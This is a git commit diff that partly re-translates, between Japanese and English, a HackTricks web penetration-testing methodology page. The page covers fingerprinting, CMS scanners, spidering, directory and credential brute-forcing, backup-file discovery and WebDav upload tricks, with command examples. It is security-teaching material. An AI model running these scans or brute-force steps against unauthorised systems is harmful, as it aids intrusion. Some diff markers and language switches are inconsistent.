Translated ['src/network-services-pentesting/pentesting-web/README.md',

2025-10-10 18:36:50 +00:00 · 2025-09-08 03:18:00 +00:00 · 2025-09-08 03:18:00 +00:00 · 2fbf2bc3c3
commit 2fbf2bc3c3
parent 31a591e497
5 changed files with 521 additions and 280 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -447,6 +447,7 @@
  - [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
  - [Nginx](network-services-pentesting/pentesting-web/nginx.md)
  - [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
+  - [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
  - [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
    - [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
      - [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@ -929,4 +930,3 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
-  
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@ -1,10 +1,10 @@
-# 80,443 - Pentesting Web Methodology
+# 80,443 - Pentesting Web 方法論

 {{#include ../../banners/hacktricks-training.md}}

 ## 基本情報

-Webサービスは最も**一般的かつ広範なサービス**であり、**さまざまな種類の脆弱性**が多数存在します。
+Webサービスは最も**一般的かつ広範なサービス**であり、**さまざまな種類の脆弱性**が多く存在します。

 **デフォルトポート:** 80 (HTTP), 443(HTTPS)
 ```bash
@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 web-api-pentesting.md
 {{#endref}}

-## Methodology summary
+## 手法の概要

-> この手法では、ドメイン（またはサブドメイン）1つだけを攻撃対象とすることを想定します。したがって、スコープ内で発見した各ドメイン、サブドメイン、または未確定の web server を持つ IP ごとにこの手法を適用してください。
+> この手法では、ドメイン（またはサブドメイン）1つだけを攻撃対象とすることを想定します。したがって、スコープ内で発見された各ドメイン、サブドメイン、または未特定のウェブサーバをホストするIPごとに、この手法を適用してください。

- [ ] まずは **識別** して、web server が使用している **technologies** を把握します。技術が特定できれば、テスト中に役立つ **tricks** を探してください。
- [ ] その技術のバージョンに対する **既知の脆弱性** はありますか？
- [ ] 既知の **well known tech** を使っていますか？追加情報を引き出すための **useful trick** はありますか？
- [ ] 実行すべき **specialised scanner**（例: wpscan）はありますか？
- [ ] **general purposes scanners** を起動します。何か見つかるか、興味深い情報が出るかもしれません。
- [ ] **initial checks** から始めます: **robots**, **sitemap**, **404** エラー、そして **SSL/TLS scan**（HTTPS の場合）。
- [ ] Webページの **spidering** を開始します: すべての可能な **files, folders** と使用されている **parameters** を**発見**する時です。**special findings** も確認してください。
- [ ] _注: brute-forcing または spidering 中に新しいディレクトリが発見された場合は、そのディレクトリも必ず spider してください。_
- [ ] **Directory Brute-Forcing**: 発見したフォルダ全てを brute force して、新しい **files** や **directories** を探します。
- [ ] _注: brute-forcing または spidering 中に新しいディレクトリが発見された場合は、そのディレクトリを必ず Brute-Force してください。_
- [ ] **Backups checking**: 一般的なバックアップ拡張子を付けて、発見した **files** の **backups** を見つけられるか試します。
- [ ] **Brute-Force parameters**: 隠されたパラメータを **find** してください。
- [ ] すべてのユーザ入力を受け付ける可能性のある **endpoints** を**識別**したら、それらに関連するあらゆる種類の **vulnerabilities** をチェックします。
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
+- [ ] まずはウェブサーバーで使用されている**技術**を**特定**してください。技術を特定できたら、テストの残りで留意すべき**トリック**を探してください。
+- [ ] その技術のバージョンに対して既知の**脆弱性**はありますか？
+- [ ] よく知られた**技術**を使用していますか？より多くの情報を引き出すための**有用なトリック**はありますか？
+- [ ] 実行すべき**専用のスキャナー**はありますか（例: wpscan）？
+- [ ] **汎用スキャナー**を実行してください。何かを見つけるか、興味深い情報を得られるか分かりません。
+- [ ] **初期チェック**から始めます: **robots**, **sitemap**, **404** エラー、および **SSL/TLS scan**（HTTPS の場合）。
+- [ ] ウェブページの**spidering**を開始します: 使用されている可能性のあるすべての**ファイル、フォルダ**、および**パラメータ**を**見つけ**てください。また、**特別な所見**がないか確認します。
+- [ ] _brute-forcingまたはspidering中に新しいディレクトリが発見されたら、その都度spideringを行ってください。_
+- [ ] **Directory Brute-Forcing**: 発見した全てのフォルダを**brute force**して、新しい**ファイル**や**ディレクトリ**を探してください。
+- [ ] _brute-forcingまたはspidering中に新しいディレクトリが発見されたら、そのディレクトリに対してはBrute-Forcedを行ってください。_
+- [ ] **Backups checking**: 共通のバックアップ拡張子を付けて**発見したファイル**の**バックアップ**が見つかるかテストします。
+- [ ] **Brute-Force parameters**: 隠し**パラメータ**を**発見**するよう試みてください。
+- [ ] すべての**ユーザー入力**を受け付ける可能性のある**endpoints**を**特定**したら、それらに関連するあらゆる種類の**脆弱性**を確認してください。
+- [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md)

-## Server Version (Vulnerable?)
+## サーバーのバージョン（脆弱？）

-### Identify
+### 識別

-Check if there are **known vulnerabilities** for the server **version** that is running.\
-The **HTTP headers and cookies of the response** could be very useful to **identify** the **technologies** and/or **version** being used. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
+実行中のサーバーのバージョンに既知の脆弱性があるか確認してください。\
+レスポンスのHTTP headersやcookiesは、使用されている技術やバージョンの識別に非常に有用です。Nmap scanはサーバーバージョンを識別できますが、ツールの[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Search: [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
+検索 **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)

-### **WAFがあるか確認**
+### **WAFがあるか確認する**

 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)

-### Web 技術のトリック
+### Web技術のトリック

-使用されているさまざまな有名な技術でvulnerabilitiesを見つけるためのいくつかのtricks:
+使用されているさまざまなよく知られた **technologies** で **finding vulnerabilities** を行うための **tricks**:

 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@ -100,27 +100,21 @@ Search: [**vulnerabilities of the web application** **version**](../../generic-h
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
+- [**Sitecore**](sitecore/index.html)

-_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
-同じドメインでも、異なるポート、フォルダ、サブドメインで異なる技術が使用されている可能性があることに注意してください。\
-もしwebアプリケーションが前述のようなよく知られたtech/platformまたはその他のものを使用している場合、新しいtricksをインターネットで検索することを忘れないでください（そして教えてください！）。
+_ドメインが同じでも、異なる **technologies** を異なる **ports**、**folders**、**subdomains** で使用している場合があることに注意してください._\
+webアプリケーションがよく知られた **tech/platform listed before** または **any other** を使用している場合は、新しい **tricks** をインターネットで **search on the Internet** することを忘れないでください（知らせてください！）。

 ### ソースコードレビュー

-アプリケーションの**source code**が**github**で入手可能な場合、自身でWhite box testを行うことに加えて、現在のBlack-Box testingに有用な情報がいくつかあります:
+もしアプリケーションの **source code** が **github** で入手可能な場合、アプリケーションに対して **your own a White box test** を実施することに加え、現在の **Black-Box testing** に **useful** となり得る **some information** が存在します:

- Is there a **Change-log or Readme or Version** file or anything with **version info accessible** via web?
-  - ウェブ経由でアクセス可能な**Change-log**、**Readme**、**Version** ファイルや**version info**はありますか？
- How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)?
-  - **credentials**はどのように、どこに保存されていますか？credentials（usernamesやpasswords）が書かれた（アクセス可能な）**file**はありますか？
- Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used?
-  - **passwords**は**plain text**ですか、それとも**encrypted**されていますか？あるいはどの**hashing algorithm**が使われていますか？
- Is it using any **master key** for encrypting something? Which **algorithm** is used?
-  - 何かを暗号化するための**master key**を使用していますか？どの**algorithm**が使われていますか？
- Can you **access any of these files** exploiting some vulnerability?
-  - 何らかのvulnerabilityを悪用して、これらのファイルのいずれかに**access**できますか？
- Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)?
-  - githubの**issues**（解決済み・未解決）に興味深い情報はありますか？または**commit history**（古いcommitにpasswordが含まれている可能性）に何かありますか？
+- ウェブ上でアクセス可能な **version info accessible** を含む **Change-log or Readme or Version** ファイルなどはありますか?
+- **credentials** はどのようにどこに保存されていますか？ 認証情報（ユーザー名やパスワード）を含む（アクセス可能な？）**file** はありますか？
+- **passwords** は **plain text**、**encrypted**、あるいはどの **hashing algorithm** が使用されていますか？
+- 何かを暗号化するために **master key** を使用していますか？ どの **algorithm** が使われていますか？
+- 何らかの脆弱性を悪用してこれらのファイルのいずれかに **access any of these files** できますか？
+- **interesting information in the github**（解決済み・未解決を問わず）や **issues** に何かありますか？ また **commit history** に（古いコミット内に **password introduced inside an old commit** など）が含まれている可能性は？

 {{#ref}}
 code-review-tools.md
@ -140,12 +134,12 @@ nuclei -ut && nuclei -target <URL>
 # https://github.com/ignis-sec/puff (client side vulns fuzzer)
 node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
 ```
-#### CMS スキャナー
+#### CMSスキャナー

-CMS を使用している場合は、必ず**スキャナーを実行**してください。思わぬ有益な発見があるかもしれません:
+CMSが使用されている場合は、**スキャナーを実行する**のを忘れないでください。思わぬ有益な発見があるかもしれません：

 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** のウェブサイトのセキュリティ問題をチェックします。 (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** セキュリティの問題があるWebサイトを検査します。 (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **または** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -155,45 +149,45 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> この時点で、クライアントが使用しているウェブサーバーに関するいくつかの情報（もし提供されていれば）や、テスト中に覚えておくべきいくつかのコツを既に持っているはずです。運が良ければ、CMS を見つけて scanner を実行しているかもしれません。
+> この時点で、クライアントが使用しているウェブサーバに関するいくつかの情報（もしデータが提供されていれば）と、テスト中に覚えておくべきいくつかのコツを既に把握しているはずです。運が良ければCMSを見つけてスキャナを実行しているでしょう。

-## Step-by-step Web Application Discovery
+## ステップバイステップのWebアプリケーション探索

-> この時点から Web アプリケーションと対話を開始します。
+> この時点からWebアプリケーションと実際に対話を始めます。

-### Initial checks
+### 初期チェック

-**Default pages with interesting info:**
+**興味深い情報を含むデフォルトページ:**

 - /robots.txt
 - /sitemap.xml
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
- Check also comments in the main and secondary pages.
+- メインページおよびサブページのコメントも確認する。

-**Forcing errors**
+**エラーを強制する**

-ウェブサーバーは、奇妙なデータが送られると**予期せぬ挙動**をすることがあります。これにより**脆弱性**が発生したり、**機密情報の漏えい**につながることがあります。
+ウェブサーバは奇妙なデータが送られると**予期せぬ挙動**をすることがあります。これにより**脆弱性**が露呈したり、**機密情報の開示**につながる可能性があります。

- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
+- 例えば /whatever_fake.php (.aspx,.html,.etc) のような**偽ページ**にアクセスする
+- **cookie values** や **parameter** の値に "\[]", "]]", "\[[" を追加してエラーを発生させる
+- URLの**末尾**に **`/~randomthing/%s`** を入力してエラーを発生させる
+- PATCH, DEBUG のような**異なるHTTPメソッド**を試す、あるいは FAKE のような不正なメソッドを試す

-#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
+#### **ファイルをアップロードできるか確認する (**[**PUT verb, WebDav**](put-method-webdav.md)**)**

-If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
+WebDavが**有効**であってルートフォルダにファイルを**アップロード**する十分な権限がない場合は、次を試してください:

- **Brute Force** credentials
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
+- 資格情報を**Brute Force**
+- Webページ内の見つかった他のフォルダにWebDav経由で**ファイルをアップロード**する。別のフォルダにはアップロード権限があるかもしれません。

-### **SSL/TLS 脆弱性**
+### **SSL/TLS の脆弱性**

- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM**
- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability.
+- アプリケーションがどの部分でも**HTTPSの利用を強制していない**場合、**MitMに対して脆弱**です
+- アプリケーションが**HTTPで機密データ（パスワード）を送信している**場合、重大な脆弱性です。

-Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
+[**testssl.sh**](https://github.com/drwetter/testssl.sh) を使って**脆弱性**をチェックし（Bug Bountyプログラムではおそらくこの種の脆弱性は受け入れられません）、[**a2sv** ](https://github.com/hahwul/a2sv)to で脆弱性を再確認してください:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@ -202,60 +196,60 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vul
 sslscan <host:port>
 sslyze --regular <ip:port>
 ```
-SSL/TLS の脆弱性に関する情報:
+Information about SSL/TLS vulnerabilities:

 - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)

 ### Spidering

-ウェブ内で何らかの **spider** を起動します。spider の目的は、テスト対象アプリケーションから可能な限り多くのパスを見つけることです。したがって、Web クローリングや外部ソースを利用して、できるだけ多くの有効なパスを見つけるべきです。
+Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.

- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML スパイダー。JS ファイル内の LinkFinder 機能と外部ソース (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com) を利用します。
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML スパイダー。JS ファイル用の LinkFinder と Archive.org を外部ソースとして利用します。
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML スパイダーで、"juicy files" を示してくれます。
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 対話式 CLI の HTML スパイダー。Archive.org も検索します。
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが便利です。hosts のファイルと paths のファイルを指定すると、各ホストの各パスを取得してレスポンスを保存します。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS レンダリング機能を備えた HTML スパイダー。ただしメンテナンスされていないようで、事前コンパイル版は古く、現在のコードはコンパイルできません。
- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダ (wayback, otx, commoncrawl) を利用する HTML スパイダーです。
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): パラメータ付き URL を見つけて一覧化します。
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS レンダリング機能を持つ HTML スパイダーです。
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS の beautify 機能を持つ HTML スパイダーで、JS ファイル内の新しいパスを検索できます。LinkFinder のラッパーである [JSScanner](https://github.com/dark-warlord14/JSScanner) も確認すると良いでしょう。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML ソースと埋め込み javascript ファイルの両方からエンドポイントを抽出します。bug hunters や red team、infosec の方に有用です。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado と JSBeautifier を使って JavaScript ファイルから相対 URL を解析する python 2.7 スクリプト。AJAX リクエストの発見に便利。メンテナンスされていない模様。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): HTML ファイルを受け取り、正規表現で相対 URL を抽出します（minify されたファイルから相対 URL を取り出すのに便利）。
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 複数のツールを使って JS ファイルから興味深い情報を収集します。
- [**subjs**](https://github.com/lc/subjs) (go): JS ファイルを探索します。
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、そのページをロードするために読み込まれたすべての URL を出力します。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 先述のツール群の複数のオプションを組み合わせたコンテンツ発見ツールです。
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS ファイル内のパスやパラメータを見つける Burp extension。
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map の URL が分かれば、beautified な JS コードを取得するツール。
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): あるターゲットのエンドポイント発見に使うツールです。
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine からリンクを発見します（wayback のレスポンスをダウンロードしてさらにリンクを探します）。
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームの入力まで行ってクローリングし、特定の正規表現で機密情報を見つけます。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): GUI ベースの多機能 web セキュリティクローラー/スパイダー。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript ソースコードから URL、パス、シークレット、その他興味深いデータを抽出する Go パッケージ兼 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Burp Suite extension。リクエストからパラメータとエンドポイントを抽出し、fuzzing や列挙用のカスタムワードリストを作成します。
- [**katana**](https://github.com/projectdiscovery/katana) (go): この用途に優れたツールです。
- [**Crawley**](https://github.com/s0rg/crawley) (go): 発見可能なすべてのリンクを出力します。
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
+- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
+- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
+- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
+- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
+- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
+- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
+- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.

 ### Brute Force directories and files

-ルートフォルダから **brute-forcing** を開始し、**この方法**で見つかったすべてのディレクトリと、**Spidering** によって発見されたすべてのディレクトリを必ず brute-force してください（これを **再帰的に** 行い、見つかったディレクトリ名をワードリストの先頭に追加して試すことができます）。\
-ツール:
+Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
+Tools:

- **Dirb** / **Dirbuster** - Kali に含まれる、**古い**（そして **遅い**）が機能するツール。自己署名証明書を許可し、再帰検索が可能。他のオプションと比べると遅すぎます。
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可しませんが、再帰検索をサポートします。**
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、ただし **再帰検索はサポートしていません**。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速で、再帰検索をサポートします。**
+- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): スパイダーではありませんが、見つかった URL の一覧から「重複」URL を削除します。
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp の履歴からディレクトリ一覧を作成する Burp Extension。
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js の import に基づいて機能が重複する URL を削除します。
- [**Chamaleon**](https://github.com/iustin24/chameleon): wapalyzer を使って使用されている技術を検出し、適切なワードリストを選択します。
+- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
+- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
+- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.

-**推奨ワードリスト:**
+**Recommended dictionaries:**

 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -274,41 +268,41 @@ SSL/TLS の脆弱性に関する情報:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_

-_注意: 新しいディレクトリが brute-forcing や spidering の過程で発見された場合は、必ずそのディレクトリに対して Brute-Forced を行ってください。_
+_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._

 ### What to check on each file found

- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 内の壊れたリンクを見つけます。これらは takeover の対象になり得ます。
- **File Backups**: すべてのファイルを見つけたら、実行可能ファイルのバックアップ（"_.php_", "_.aspx_"…）を探します。バックアップ名の一般的なバリエーションは: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ またはツール [**bfac**](https://github.com/mazen160/bfac) **や** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) を使うこともできます。
- **Discover new parameters**: 隠しパラメータを発見するために [**Arjun**](https://github.com/s0md3v/Arjun)、[**parameth**](https://github.com/maK-/parameth)、[**x8**](https://github.com/sh1yo/x8)、[**Param Miner**](https://github.com/PortSwigger/param-miner) などを使用できます。可能であれば、各実行可能な web ファイルで隠しパラメータを探してみてください。
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
+- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** すべてのファイルのコメントを確認してください。**credentials** や **hidden functionality** が見つかることがあります。
- CTF を行っている場合、よくあるトリックとしてページの右側のコメント内に情報を**隠す**ことがあります（ブラウザでソースを開いた場合に見えないように何百ものスペースを使う）。別の方法としては複数の改行を入れ、ページ下部のコメントに情報を隠す場合もあります。
